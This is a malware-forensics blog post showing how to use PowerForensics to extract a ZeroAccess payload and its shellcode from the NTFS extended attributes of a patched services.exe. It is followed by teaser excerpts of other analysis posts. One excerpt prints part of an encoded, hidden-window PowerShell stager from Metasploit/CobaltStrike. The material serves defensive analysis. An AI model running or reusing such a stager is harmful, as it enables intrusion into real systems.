Skip to main content

Extracting ZeroAccess from NTFS Extended Attributes using PowerForensics


This post explains how to use PowerForensics ( to extract ZeroAccess infected system's NTFS extended attributes content. ZeroAccess used NTFS extended attributes to maintain persistent mechanism on infected system.

"If installed on Windows Vista or higher ZeroAccess will attempt to patch the Windows file services.exe. A subroutine inside services.exe is overwritten with shellcode that is carried inside the ZeroAccess dropper.
A large amount of binary data is also written to the NTFS Extended Attributes of services.exe. Extended Attributes are a feature of NTFS similar in nature to Alternate Data Streams where extra information about the file can be stored on the file system. ZeroAccess uses this feature to hide a whole PE file as well as shellcode that loads the PE file. The overwritten subroutine in services.exe reads in all the data from the Extended Attributes and executes it. The shellcode then loads and executes the embedded PE file. This file is a DLL that has equivalent functionality to the main component, so the services.exe modifications provide a backup means for the bot to function if the two main components are discovered and removed."


  1. PowerForensics - PowerForensics provides an all in one platform for live disk forensic analysis (
  2. analyzeMFT (
  3.  Hex Editor 
  • You are dealing with real malware samples
  • Don’t expose them to internal networks or internet
  • Analyze them in a controlled environments (sandboxes)
  • We are not responsible for any consequences of damage if you fail to obey the rules

A windows 7 virtual machine was setup with above mentioned tools. Ensured that a clean state of windows 7 with all tools was taken as a snapshot.  The below mentioned ZeroAccess variant is going to be run on windows 7 sandbox.

MD5 : c6e73a75284507a41da8bef0db342400

The $MFT file can be parsed using two methods to observe for any extended attributes. The first method is offline $MFT file analysis using which is an intelligent way to check for any type of interested attribute. It's always recommended to parse and analyze MFT entry attributes 

Extracting  $MFT  using Get-ForensicFileRecord

Get-ForensicChildItem lists all files including protected files and file system metadata files. Observe that $MFT itself is having an entry in $MFT file  with record number 0. 
Offline $MFT Analysis: Parsing $MFT before infecting ZeroAccess. The tool is used to parse offline $MFT file
A quick filter on $EA attribute shows services.exe is not associated with any extended attribute content

A quick look at the MFT  record of services.exe shows that it does not have any additional data streams (apart from legitimate $DATA attribute) like Alternate Data Streams (ADS-an extra $DATA attribute) and Extended Attributes (EA & EA_INFORMATION)

PowerForensics cmdlet  Get-ForensicFileRecord shows the below output where no extended attribute was observed

The live analysis of $MFT on windows 7 prior to infection shows no extended attributes
Once the ZeroAcess  specimen is executed, it disguised as AdobeFlash player and was asked to accept installation of Adobe flash player
Let's check for any extended attributes in services.ex. The below output shows that record number of services.exe has been changed
The Extended attribute was also observed in patched services.exe

To extract EA attribute content, the data run of the attribute is used to find the clusters allocated on volume
Invoke-ForensicDD to extract the content
Invoke-ForensicDD -InFile \\.\C: -OutFile C:\demo\ze_extended_attribute -Offset ($dr[0].StartCluster*$vbr.BytesPerCluster) -BlockSize ($dr[0].ClusterLength*$vbr.BytesPerCluster) -Count 1 

The extracted file was extracted in C:\demo folder. View the contents of extracted file

The shellcode was observed at the beginning of the file followed by a traditional MZ header and modern PE header 
The extracted file is opened in hexeditor to trim the shellcode content and save the file with MZ header at offset 0. The hash values of both files are submitted to
Malware initial assessment using pestudio

Offline $MFT analysis using after infection shows extended attributes of other files including services.exe
In the End ... 
Further analysis needs to be done on extracted content from NTFS extended attributes ($EA & $EA_INFORMATION). PowerForensics is  going to be more efficient while performing a live response or offline forensic analysis of images

Thanks to 
 PowerForensics - - @jaredcatkinson


Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH

Memory dump analysis of Donny's System

Introduction  This post solves the mystery of Donny's System   and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps Tools: Volatility, Yara  & Windows Powershell Analysis Six-step investigative methodology by SANS Identify rogue processes  Analyze process DLLs and handles   Review network artifacts  Look for evidence of code injection  Check for signs of rootkit Dump suspicious processes and drivers  Run volatility  imageinfo plugin   to identify profile  PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo Run Volatility  pslist plugin to see active running processes PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence game.exe clearly looks suspicious as it ran and exit in a short span o